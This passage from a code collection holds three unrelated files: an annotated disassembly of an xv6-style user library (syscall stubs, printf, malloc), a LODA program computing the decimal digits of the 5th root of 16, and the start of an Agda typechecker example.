fb 09 cmp $0x9,%bl 303: 76 eb jbe 2f0 <atoi+0x20> return n; } 305: 5b pop %ebx 306: 5d pop %ebp 307: c3 ret 308: 90 nop 309: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000310 <memmove>: void * memmove(void *vdst, void *vsrc, int n) { 310: 55 push %ebp 311: 89 e5 mov %esp,%ebp 313: 56 push %esi 314: 53 push %ebx 315: 8b 5d 10 mov 0x10(%ebp),%ebx 318: 8b 45 08 mov 0x8(%ebp),%eax 31b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while (n-- > 0) *dst++= *src++; 31e: 85 db test %ebx,%ebx 320: 7e 14 jle 336 <memmove+0x26> 322: 31 d2 xor %edx,%edx 324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 328: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 32c: 88 0c 10 mov %cl,(%eax,%edx,1) 32f: 83 c2 01 add $0x1,%edx 332: 39 d3 cmp %edx,%ebx 334: 75 f2 jne 328 <memmove+0x18> return vdst; } 336: 5b pop %ebx 337: 5e pop %esi 338: 5d pop %ebp 339: c3 ret 33a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000340 <shm_get>: char* shm_get(char* name) { 340: 55 push %ebp 341: 89 e5 mov %esp,%ebp return shmget(name); } 343: 5d pop %ebp return shmget(name); 344: e9 00 01 00 00 jmp 449 <shmget> 349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000350 <shm_rem>: int shm_rem(char* name) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp return shmrem(name); } 353: 5d pop %ebp return shmrem(name); 354: e9 f8 00 00 00 jmp 451 <shmrem> 00000359 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 359: b8 01 00 00 00 mov $0x1,%eax 35e: cd 40 int $0x40 360: c3 ret 00000361 <exit>: SYSCALL(exit) 361: b8 02 00 00 00 mov $0x2,%eax 366: cd 40 int $0x40 368: c3 ret 00000369 <wait>: SYSCALL(wait) 369: b8 03 00 00 00 mov $0x3,%eax 36e: cd 40 int $0x40 370: c3 ret 00000371 <pipe>: SYSCALL(pipe) 371: b8 04 00 00 00 mov $0x4,%eax 376: cd 40 int $0x40 378: c3 ret 00000379 <read>: SYSCALL(read) 379: b8 05 00 00 00 mov $0x5,%eax 37e: cd 40 int $0x40 380: c3 ret 00000381 <write>: SYSCALL(write) 381: b8 10 00 00 00 mov $0x10,%eax 386: cd 40 int $0x40 388: c3 ret 00000389 <close>: SYSCALL(close) 389: b8 15 00 00 00 mov $0x15,%eax 38e: cd 40 int $0x40 390: c3 ret 00000391 <kill>: SYSCALL(kill) 391: b8 06 00 00 00 mov $0x6,%eax 396: cd 40 int $0x40 398: c3 ret 00000399 <exec>: SYSCALL(exec) 399: b8 07 00 00 00 mov $0x7,%eax 39e: cd 40 int $0x40 3a0: c3 ret 000003a1 <open>: SYSCALL(open) 3a1: b8 0f 00 00 00 mov $0xf,%eax 3a6: cd 40 int $0x40 3a8: c3 ret 000003a9 <mknod>: SYSCALL(mknod) 3a9: b8 11 00 00 00 mov $0x11,%eax 3ae: cd 40 int $0x40 3b0: c3 ret 000003b1 <unlink>: SYSCALL(unlink) 3b1: b8 12 00 00 00 mov $0x12,%eax 3b6: cd 40 int $0x40 3b8: c3 ret 000003b9 <fstat>: SYSCALL(fstat) 3b9: b8 08 00 00 00 mov $0x8,%eax 3be: cd 40 int $0x40 3c0: c3 ret 000003c1 <link>: SYSCALL(link) 3c1: b8 13 00 00 00 mov $0x13,%eax 3c6: cd 40 int $0x40 3c8: c3 ret 000003c9 <mkdir>: SYSCALL(mkdir) 3c9: b8 14 00 00 00 mov $0x14,%eax 3ce: cd 40 int $0x40 3d0: c3 ret 000003d1 <chdir>: SYSCALL(chdir) 3d1: b8 09 00 00 00 mov $0x9,%eax 3d6: cd 40 int $0x40 3d8: c3 ret 000003d9 <dup>: SYSCALL(dup) 3d9: b8 0a 00 00 00 mov $0xa,%eax 3de: cd 40 int $0x40 3e0: c3 ret 000003e1 <getpid>: SYSCALL(getpid) 3e1: b8 0b 00 00 00 mov $0xb,%eax 3e6: cd 40 int $0x40 3e8: c3 ret 000003e9 <sbrk>: SYSCALL(sbrk) 3e9: b8 0c 00 00 00 mov $0xc,%eax 3ee: cd 40 int $0x40 3f0: c3 ret 000003f1 <sleep>: SYSCALL(sleep) 3f1: b8 0d 00 00 00 mov $0xd,%eax 3f6: cd 40 int $0x40 3f8: c3 ret 000003f9 <uptime>: SYSCALL(uptime) 3f9: b8 0e 00 00 00 mov $0xe,%eax 3fe: cd 40 int $0x40 400: c3 ret 00000401 <mcreate>: SYSCALL(mcreate) 401: b8 16 00 00 00 mov $0x16,%eax 406: cd 40 int $0x40 408: c3 ret 00000409 <mdelete>: SYSCALL(mdelete) 409: b8 17 00 00 00 mov $0x17,%eax 40e: cd 40 int $0x40 410: c3 ret 00000411 <mlock>: SYSCALL(mlock) 411: b8 18 00 00 00 mov $0x18,%eax 416: cd 40 int $0x40 418: c3 ret 00000419 <munlock>: SYSCALL(munlock) 419: b8 19 00 00 00 mov $0x19,%eax 41e: cd 40 int $0x40 420: c3 ret 00000421 <waitcv>: SYSCALL(waitcv) 421: b8 1a 00 00 00 mov $0x1a,%eax 426: cd 40 int $0x40 428: c3 ret 00000429 <signalcv>: SYSCALL(signalcv) 429: b8 1b 00 00 00 mov $0x1b,%eax 42e: cd 40 int $0x40 430: c3 ret 00000431 <prio_set>: SYSCALL(prio_set) 431: b8 1c 00 00 00 mov $0x1c,%eax 436: cd 40 int $0x40 438: c3 ret 00000439 <testpqeq>: SYSCALL(testpqeq) 439: b8 1d 00 00 00 mov $0x1d,%eax 43e: cd 40 int $0x40 440: c3 ret 00000441 <testpqdq>: SYSCALL(testpqdq) 441: b8 1e 00 00 00 mov $0x1e,%eax 446: cd 40 int $0x40 448: c3 ret 00000449 <shmget>: SYSCALL(shmget) 449: b8 1f 00 00 00 mov $0x1f,%eax 44e: cd 40 int $0x40 450: c3 ret 00000451 <shmrem>: 451: b8 20 00 00 00 mov $0x20,%eax 456: cd 40 int $0x40 458: c3 ret 459: 66 90 xchg %ax,%ax 45b: 66 90 xchg %ax,%ax 45d: 66 90 xchg %ax,%ax 45f: 90 nop 00000460 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 460: 55 push %ebp 461: 89 e5 mov %esp,%ebp 463: 57 push %edi 464: 56 push %esi 465: 53 push %ebx 466: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if (sgn && xx < 0) { 469: 85 d2 test %edx,%edx { 46b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 46e: 89 d0 mov %edx,%eax if (sgn && xx < 0) { 470: 79 76 jns 4e8 <printint+0x88> 472: f6 45 08 01 testb $0x1,0x8(%ebp) 476: 74 70 je 4e8 <printint+0x88> x = -xx; 478: f7 d8 neg %eax neg = 1; 47a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 481: 31 f6 xor %esi,%esi 483: 8d 5d d7 lea -0x29(%ebp),%ebx 486: eb 0a jmp 492 <printint+0x32> 488: 90 nop 489: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do { buf[i++] = digits[x % base]; 490: 89 fe mov %edi,%esi 492: 31 d2 xor %edx,%edx 494: 8d 7e 01 lea 0x1(%esi),%edi 497: f7 f1 div %ecx 499: 0f b6 92 b0 08 00 00 movzbl 0x8b0(%edx),%edx } while ((x /= base) != 0); 4a0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 4a2: 88 14 3b mov %dl,(%ebx,%edi,1) } while ((x /= base) != 0); 4a5: 75 e9 jne 490 <printint+0x30> if (neg) buf[i++] = '-'; 4a7: 8b 45 c4 mov -0x3c(%ebp),%eax 4aa: 85 c0 test %eax,%eax 4ac: 74 08 je 4b6 <printint+0x56> 4ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 4b3: 8d 7e 02 lea 0x2(%esi),%edi 4b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 4ba: 8b 7d c0 mov -0x40(%ebp),%edi 4bd: 8d 76 00 lea 0x0(%esi),%esi 4c0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 4c3: 83 ec 04 sub $0x4,%esp 4c6: 83 ee 01 sub $0x1,%esi 4c9: 6a 01 push $0x1 4cb: 53 push %ebx 4cc: 57 push %edi 4cd: 88 45 d7 mov %al,-0x29(%ebp) 4d0: e8 ac fe ff ff call 381 <write> while (--i >= 0) putc(fd, buf[i]); 4d5: 83 c4 10 add $0x10,%esp 4d8: 39 de cmp %ebx,%esi 4da: 75 e4 jne 4c0 <printint+0x60> } 4dc: 8d 65 f4 lea -0xc(%ebp),%esp 4df: 5b pop %ebx 4e0: 5e pop %esi 4e1: 5f pop %edi 4e2: 5d pop %ebp 4e3: c3 ret 4e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 4e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 4ef: eb 90 jmp 481 <printint+0x21> 4f1: eb 0d jmp 500 <printf> 4f3: 90 nop 4f4: 90 nop 4f5: 90 nop 4f6: 90 nop 4f7: 90 nop 4f8: 90 nop 4f9: 90 nop 4fa: 90 nop 4fb: 90 nop 4fc: 90 nop 4fd: 90 nop 4fe: 90 nop 4ff: 90 nop 00000500 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 500: 55 push %ebp 501: 89 e5 mov %esp,%ebp 503: 57 push %edi 504: 56 push %esi 505: 53 push %ebx 506: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint *)(void *)&fmt + 1; for (i = 0; fmt[i]; i++) { 509: 8b 75 0c mov 0xc(%ebp),%esi 50c: 0f b6 1e movzbl (%esi),%ebx 50f: 84 db test %bl,%bl 511: 0f 84 b3 00 00 00 je 5ca <printf+0xca> ap = (uint *)(void *)&fmt + 1; 517: 8d 45 10 lea 0x10(%ebp),%eax 51a: 83 c6 01 add $0x1,%esi state = 0; 51d: 31 ff xor %edi,%edi ap = (uint *)(void *)&fmt + 1; 51f: 89 45 d4 mov %eax,-0x2c(%ebp) 522: eb 2f jmp 553 <printf+0x53> 524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if (state == 0) { if (c == '%') { 528: 83 f8 25 cmp $0x25,%eax 52b: 0f 84 a7 00 00 00 je 5d8 <printf+0xd8> write(fd, &c, 1); 531: 8d 45 e2 lea -0x1e(%ebp),%eax 534: 83 ec 04 sub $0x4,%esp 537: 88 5d e2 mov %bl,-0x1e(%ebp) 53a: 6a 01 push $0x1 53c: 50 push %eax 53d: ff 75 08 pushl 0x8(%ebp) 540: e8 3c fe ff ff call 381 <write> 545: 83 c4 10 add $0x10,%esp 548: 83 c6 01 add $0x1,%esi for (i = 0; fmt[i]; i++) { 54b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 54f: 84 db test %bl,%bl 551: 74 77 je 5ca <printf+0xca> if (state == 0) { 553: 85 ff test %edi,%edi c = fmt[i] & 0xff; 555: 0f be cb movsbl %bl,%ecx 558: 0f b6 c3 movzbl %bl,%eax if (state == 0) { 55b: 74 cb je 528 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if (state == '%') { 55d: 83 ff 25 cmp $0x25,%edi 560: 75 e6 jne 548 <printf+0x48> if (c == 'd') { 562: 83 f8 64 cmp $0x64,%eax 565: 0f 84 05 01 00 00 je 670 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if (c == 'x' || c == 'p') { 56b: 81 e1 f7 00 00 00 and $0xf7,%ecx 571: 83 f9 70 cmp $0x70,%ecx 574: 74 72 je 5e8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if (c == 's') { 576: 83 f8 73 cmp $0x73,%eax 579: 0f 84 99 00 00 00 je 618 <printf+0x118> if (s == 0) s = "(null)"; while (*s != 0) { putc(fd, *s); s++; } } else if (c == 'c') { 57f: 83 f8 63 cmp $0x63,%eax 582: 0f 84 08 01 00 00 je 690 <printf+0x190> putc(fd, *ap); ap++; } else if (c == '%') { 588: 83 f8 25 cmp $0x25,%eax 58b: 0f 84 ef 00 00 00 je 680 <printf+0x180> write(fd, &c, 1); 591: 8d 45 e7 lea -0x19(%ebp),%eax 594: 83 ec 04 sub $0x4,%esp 597: c6 45 e7 25 movb $0x25,-0x19(%ebp) 59b: 6a 01 push $0x1 59d: 50 push %eax 59e: ff 75 08 pushl 0x8(%ebp) 5a1: e8 db fd ff ff call 381 <write> 5a6: 83 c4 0c add $0xc,%esp 5a9: 8d 45 e6 lea -0x1a(%ebp),%eax 5ac: 88 5d e6 mov %bl,-0x1a(%ebp) 5af: 6a 01 push $0x1 5b1: 50 push %eax 5b2: ff 75 08 pushl 0x8(%ebp) 5b5: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5b8: 31 ff xor %edi,%edi write(fd, &c, 1); 5ba: e8 c2 fd ff ff call 381 <write> for (i = 0; fmt[i]; i++) { 5bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 5c3: 83 c4 10 add $0x10,%esp for (i = 0; fmt[i]; i++) { 5c6: 84 db test %bl,%bl 5c8: 75 89 jne 553 <printf+0x53> } } } 5ca: 8d 65 f4 lea -0xc(%ebp),%esp 5cd: 5b pop %ebx 5ce: 5e pop %esi 5cf: 5f pop %edi 5d0: 5d pop %ebp 5d1: c3 ret 5d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 5d8: bf 25 00 00 00 mov $0x25,%edi 5dd: e9 66 ff ff ff jmp 548 <printf+0x48> 5e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 5e8: 83 ec 0c sub $0xc,%esp 5eb: b9 10 00 00 00 mov $0x10,%ecx 5f0: 6a 00 push $0x0 5f2: 8b 7d d4 mov -0x2c(%ebp),%edi 5f5: 8b 45 08 mov 0x8(%ebp),%eax 5f8: 8b 17 mov (%edi),%edx 5fa: e8 61 fe ff ff call 460 <printint> ap++; 5ff: 89 f8 mov %edi,%eax 601: 83 c4 10 add $0x10,%esp state = 0; 604: 31 ff xor %edi,%edi ap++; 606: 83 c0 04 add $0x4,%eax 609: 89 45 d4 mov %eax,-0x2c(%ebp) 60c: e9 37 ff ff ff jmp 548 <printf+0x48> 611: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char *)*ap; 618: 8b 45 d4 mov -0x2c(%ebp),%eax 61b: 8b 08 mov (%eax),%ecx ap++; 61d: 83 c0 04 add $0x4,%eax 620: 89 45 d4 mov %eax,-0x2c(%ebp) if (s == 0) s = "(null)"; 623: 85 c9 test %ecx,%ecx 625: 0f 84 8e 00 00 00 je 6b9 <printf+0x1b9> while (*s != 0) { 62b: 0f b6 01 movzbl (%ecx),%eax state = 0; 62e: 31 ff xor %edi,%edi s = (char *)*ap; 630: 89 cb mov %ecx,%ebx while (*s != 0) { 632: 84 c0 test %al,%al 634: 0f 84 0e ff ff ff je 548 <printf+0x48> 63a: 89 75 d0 mov %esi,-0x30(%ebp) 63d: 89 de mov %ebx,%esi 63f: 8b 5d 08 mov 0x8(%ebp),%ebx 642: 8d 7d e3 lea -0x1d(%ebp),%edi 645: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 648: 83 ec 04 sub $0x4,%esp s++; 64b: 83 c6 01 add $0x1,%esi 64e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 651: 6a 01 push $0x1 653: 57 push %edi 654: 53 push %ebx 655: e8 27 fd ff ff call 381 <write> while (*s != 0) { 65a: 0f b6 06 movzbl (%esi),%eax 65d: 83 c4 10 add $0x10,%esp 660: 84 c0 test %al,%al 662: 75 e4 jne 648 <printf+0x148> 664: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 667: 31 ff xor %edi,%edi 669: e9 da fe ff ff jmp 548 <printf+0x48> 66e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 670: 83 ec 0c sub $0xc,%esp 673: b9 0a 00 00 00 mov $0xa,%ecx 678: 6a 01 push $0x1 67a: e9 73 ff ff ff jmp 5f2 <printf+0xf2> 67f: 90 nop write(fd, &c, 1); 680: 83 ec 04 sub $0x4,%esp 683: 88 5d e5 mov %bl,-0x1b(%ebp) 686: 8d 45 e5 lea -0x1b(%ebp),%eax 689: 6a 01 push $0x1 68b: e9 21 ff ff ff jmp 5b1 <printf+0xb1> putc(fd, *ap); 690: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 693: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 696: 8b 07 mov (%edi),%eax write(fd, &c, 1); 698: 6a 01 push $0x1 ap++; 69a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 69d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 6a0: 8d 45 e4 lea -0x1c(%ebp),%eax 6a3: 50 push %eax 6a4: ff 75 08 pushl 0x8(%ebp) 6a7: e8 d5 fc ff ff call 381 <write> ap++; 6ac: 89 7d d4 mov %edi,-0x2c(%ebp) 6af: 83 c4 10 add $0x10,%esp state = 0; 6b2: 31 ff xor %edi,%edi 6b4: e9 8f fe ff ff jmp 548 <printf+0x48> if (s == 0) s = "(null)"; 6b9: bb a8 08 00 00 mov $0x8a8,%ebx while (*s != 0) { 6be: b8 28 00 00 00 mov $0x28,%eax 6c3: e9 72 ff ff ff jmp 63a <printf+0x13a> 6c8: 66 90 xchg %ax,%ax 6ca: 66 90 xchg %ax,%ax 6cc: 66 90 xchg %ax,%ax 6ce: 66 90 xchg %ax,%ax 000006d0 <free>: static Header base; static Header *freep; void free(void *ap) { 6d0: 55 push %ebp Header *bp, *p; bp = (Header *)ap - 1; for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6d1: a1 a0 0b 00 00 mov 0xba0,%eax { 6d6: 89 e5 mov %esp,%ebp 6d8: 57 push %edi 6d9: 56 push %esi 6da: 53 push %ebx 6db: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header *)ap - 1; 6de: 8d 4b f8 lea -0x8(%ebx),%ecx 6e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6e8: 39 c8 cmp %ecx,%eax 6ea: 8b 10 mov (%eax),%edx 6ec: 73 32 jae 720 <free+0x50> 6ee: 39 d1 cmp %edx,%ecx 6f0: 72 04 jb 6f6 <free+0x26> if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; 6f2: 39 d0 cmp %edx,%eax 6f4: 72 32 jb 728 <free+0x58> if (bp + bp->s.size == p->s.ptr) { 6f6: 8b 73 fc mov -0x4(%ebx),%esi 6f9: 8d 3c f1 lea (%ecx,%esi,8),%edi 6fc: 39 fa cmp %edi,%edx 6fe: 74 30 je 730 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 700: 89 53 f8 mov %edx,-0x8(%ebx) if (p + p->s.size == bp) { 703: 8b 50 04 mov 0x4(%eax),%edx 706: 8d 34 d0 lea (%eax,%edx,8),%esi 709: 39 f1 cmp %esi,%ecx 70b: 74 3a je 747 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 70d: 89 08 mov %ecx,(%eax) freep = p; 70f: a3 a0 0b 00 00 mov %eax,0xba0 } 714: 5b pop %ebx 715: 5e pop %esi 716: 5f pop %edi 717: 5d pop %ebp 718: c3 ret 719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; 720: 39 d0 cmp %edx,%eax 722: 72 04 jb 728 <free+0x58> 724: 39 d1 cmp %edx,%ecx 726: 72 ce jb 6f6 <free+0x26> { 728: 89 d0 mov %edx,%eax 72a: eb bc jmp 6e8 <free+0x18> 72c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 730: 03 72 04 add 0x4(%edx),%esi 733: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 736: 8b 10 mov (%eax),%edx 738: 8b 12 mov (%edx),%edx 73a: 89 53 f8 mov %edx,-0x8(%ebx) if (p + p->s.size == bp) { 73d: 8b 50 04 mov 0x4(%eax),%edx 740: 8d 34 d0 lea (%eax,%edx,8),%esi 743: 39 f1 cmp %esi,%ecx 745: 75 c6 jne 70d <free+0x3d> p->s.size += bp->s.size; 747: 03 53 fc add -0x4(%ebx),%edx freep = p; 74a: a3 a0 0b 00 00 mov %eax,0xba0 p->s.size += bp->s.size; 74f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 752: 8b 53 f8 mov -0x8(%ebx),%edx 755: 89 10 mov %edx,(%eax) } 757: 5b pop %ebx 758: 5e pop %esi 759: 5f pop %edi 75a: 5d pop %ebp 75b: c3 ret 75c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000760 <malloc>: return freep; } void * malloc(uint nbytes) { 760: 55 push %ebp 761: 89 e5 mov %esp,%ebp 763: 57 push %edi 764: 56 push %esi 765: 53 push %ebx 766: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1) / sizeof(Header) + 1; 769: 8b 45 08 mov 0x8(%ebp),%eax if ((prevp = freep) == 0) { 76c: 8b 15 a0 0b 00 00 mov 0xba0,%edx nunits = (nbytes + sizeof(Header) - 1) / sizeof(Header) + 1; 772: 8d 78 07 lea 0x7(%eax),%edi 775: c1 ef 03 shr $0x3,%edi 778: 83 c7 01 add $0x1,%edi if ((prevp = freep) == 0) { 77b: 85 d2 test %edx,%edx 77d: 0f 84 9d 00 00 00 je 820 <malloc+0xc0> 783: 8b 02 mov (%edx),%eax 785: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { if (p->s.size >= nunits) { 788: 39 cf cmp %ecx,%edi 78a: 76 6c jbe 7f8 <malloc+0x98> 78c: 81 ff 00 10 00 00 cmp $0x1000,%edi 792: bb 00 10 00 00 mov $0x1000,%ebx 797: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 79a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 7a1: eb 0e jmp 7b1 <malloc+0x51> 7a3: 90 nop 7a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { 7a8: 8b 02 mov (%edx),%eax if (p->s.size >= nunits) { 7aa: 8b 48 04 mov 0x4(%eax),%ecx 7ad: 39 f9 cmp %edi,%ecx 7af: 73 47 jae 7f8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void *)(p + 1); } if (p == freep) 7b1: 39 05 a0 0b 00 00 cmp %eax,0xba0 7b7: 89 c2 mov %eax,%edx 7b9: 75 ed jne 7a8 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 7bb: 83 ec 0c sub $0xc,%esp 7be: 56 push %esi 7bf: e8 25 fc ff ff call 3e9 <sbrk> if (p == (char *)-1) return 0; 7c4: 83 c4 10 add $0x10,%esp 7c7: 83 f8 ff cmp $0xffffffff,%eax 7ca: 74 1c je 7e8 <malloc+0x88> hp->s.size = nu; 7cc: 89 58 04 mov %ebx,0x4(%eax) free((void *)(hp + 1)); 7cf: 83 ec 0c sub $0xc,%esp 7d2: 83 c0 08 add $0x8,%eax 7d5: 50 push %eax 7d6: e8 f5 fe ff ff call 6d0 <free> return freep; 7db: 8b 15 a0 0b 00 00 mov 0xba0,%edx if ((p = morecore(nunits)) == 0) return 0; 7e1: 83 c4 10 add $0x10,%esp 7e4: 85 d2 test %edx,%edx 7e6: 75 c0 jne 7a8 <malloc+0x48> } } 7e8: 8d 65 f4 lea -0xc(%ebp),%esp if ((p = morecore(nunits)) == 0) return 0; 7eb: 31 c0 xor %eax,%eax } 7ed: 5b pop %ebx 7ee: 5e pop %esi 7ef: 5f pop %edi 7f0: 5d pop %ebp 7f1: c3 ret 7f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if (p->s.size == nunits) 7f8: 39 cf cmp %ecx,%edi 7fa: 74 54 je 850 <malloc+0xf0> p->s.size -= nunits; 7fc: 29 f9 sub %edi,%ecx 7fe: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 801: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 804: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 807: 89 15 a0 0b 00 00 mov %edx,0xba0 } 80d: 8d 65 f4 lea -0xc(%ebp),%esp return (void *)(p + 1); 810: 83 c0 08 add $0x8,%eax } 813: 5b pop %ebx 814: 5e pop %esi 815: 5f pop %edi 816: 5d pop %ebp 817: c3 ret 818: 90 nop 819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 820: c7 05 a0 0b 00 00 a4 movl $0xba4,0xba0 827: 0b 00 00 82a: c7 05 a4 0b 00 00 a4 movl $0xba4,0xba4 831: 0b 00 00 base.s.size = 0; 834: b8 a4 0b 00 00 mov $0xba4,%eax 839: c7 05 a8 0b 00 00 00 movl $0x0,0xba8 840: 00 00 00 843: e9 44 ff ff ff jmp 78c <malloc+0x2c> 848: 90 nop 849: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 850: 8b 08 mov (%eax),%ecx 852: 89 0a mov %ecx,(%edx) 854: eb b1 jmp 807 <malloc+0xa7>
oeis/011/A011101.asm
neoneye/loda-programs
11
28434
; A011101: Decimal expansion of 5th root of 16. ; Submitted by <NAME> ; 1,7,4,1,1,0,1,1,2,6,5,9,2,2,4,8,2,7,8,2,7,2,5,4,0,0,3,4,9,5,9,4,9,2,1,9,7,9,5,8,2,5,0,8,4,8,6,9,6,0,0,6,0,9,6,4,8,3,7,1,9,1,3,7,0,1,3,5,0,0,0,3,5,5,0,4,9,5,6,0,2,0,3,7,6,7,5,7,5,2,9,7,4,3,3,4,0,8,3,5 mov $3,$0 mul $3,3 mov $7,10 lpb $3 mul $1,2 add $6,$2 add $1,$6 add $2,$7 add $1,$2 add $2,$1 sub $3,1 add $5,$2 add $6,$5 add $7,$1 lpe div $7,2 mov $2,$7 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 add $0,$4 mod $0,10
examples/vfl/Typechecker.agda
asr/agda-kanso
1
12919
<gh_stars>1-10 module Typechecker where data Nat : Set where zero : Nat suc : Nat -> Nat {-# BUILTIN NATURAL Nat #-} {-# BUILTIN ZERO zero #-} {-# BUILTIN SUC suc #-} _+_ : Nat -> Nat -> Nat zero + m = m suc n + m = suc (n + m) data Fin : Nat -> Set where f0 : {n : Nat} -> Fin (suc n) fs : {n : Nat} -> Fin n -> Fin (suc n) infixl 30 _::_ _++_ data Vect (A : Set) : Nat -> Set where ε : Vect A zero _::_ : {n : Nat} -> Vect A n -> A -> Vect A (suc n) fs^ : {n : Nat}(m : Nat) -> Fin n -> Fin (m + n) fs^ zero i = i fs^ (suc m) i = fs (fs^ m i) _++_ : {A : Set}{n m : Nat} -> Vect A n -> Vect A m -> Vect A (m + n) xs ++ ε = xs xs ++ (ys :: y) = (xs ++ ys) :: y data Chop {A : Set} : {n : Nat} -> Vect A n -> Fin n -> Set where chopGlue : {m n : Nat}(xs : Vect A n)(x : A)(ys : Vect A m) -> Chop (xs :: x ++ ys) (fs^ m f0) chop : {A : Set}{n : Nat}(xs : Vect A n)(i : Fin n) -> Chop xs i chop ε () chop (xs :: x) f0 = chopGlue xs x ε chop (xs :: y) (fs i) with chop xs i chop (.(xs :: x ++ ys) :: y) (fs .(fs^ m f0)) | chopGlue {m} xs x ys = chopGlue xs x (ys :: y) infixr 40 _⊃_ data Simp : Set where o : Simp _⊃_ : Simp -> Simp -> Simp infix 20 Simp-_ data Simp-_ : Simp -> Set where neqo : Simp -> Simp -> Simp- o neq⊃ : {S T : Simp} -> Simp- (S ⊃ T) neqT : {S T : Simp}(T' : Simp- T) -> Simp- (S ⊃ T) neqS : {S : Simp}{T₁ : Simp}(S' : Simp- S)(T₂ : Simp) -> Simp- (S ⊃ T₁) infixl 60 _∖_ _∖_ : (S : Simp) -> Simp- S -> Simp .o ∖ neqo S T = S ⊃ T .(_ ⊃ _) ∖ neq⊃ = o .(S ⊃ T) ∖ neqT {S}{T} T' = S ⊃ T ∖ T' .(S ⊃ _) ∖ neqS {S} S' T₂ = S ∖ S' ⊃ T₂ data SimpEq? (S : Simp) : Simp -> Set where simpSame : SimpEq? S S simpDiff : (T : Simp- S) -> SimpEq? S (S ∖ T) simpEq? : (S T : Simp) -> SimpEq? S T simpEq? o o = simpSame simpEq? o (S ⊃ T) = simpDiff (neqo S T) simpEq? (S ⊃ T) o = simpDiff neq⊃ simpEq? (S₁ ⊃ T₁) (S₂ ⊃ T₂) with simpEq? S₁ S₂ simpEq? (S ⊃ T₁) (.S ⊃ T₂) | simpSame with simpEq? T₁ T₂ simpEq? (S ⊃ T) (.S ⊃ .T) | 